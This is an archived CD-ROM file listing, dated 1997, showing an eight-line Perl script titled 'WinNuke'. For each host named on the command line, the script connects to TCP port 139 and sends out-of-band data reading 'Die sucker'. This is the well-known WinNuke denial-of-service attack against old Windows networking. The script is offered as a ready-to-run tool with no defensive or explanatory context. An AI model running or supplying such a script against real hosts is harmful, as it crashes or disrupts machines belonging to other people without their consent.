home *** CD-ROM | disk | FTP | other *** search
/ Acorn User 10 / AU_CD10.iso / Updates / Perl / Non-RPC / !Perl / scripts / WinNuke < prev    next >
Text File  |  1997-10-13  |  129b  |  8 lines
  1. use IO::Socket;
  2.  
  3. foreach (@ARGV) {
  4.     IO::Socket::INET
  5.     ->new(PeerAddr=>"$_:139",Proto=>'tcp')
  6.     ->send("Die sucker", MSG_OOB)
  7. }
  8.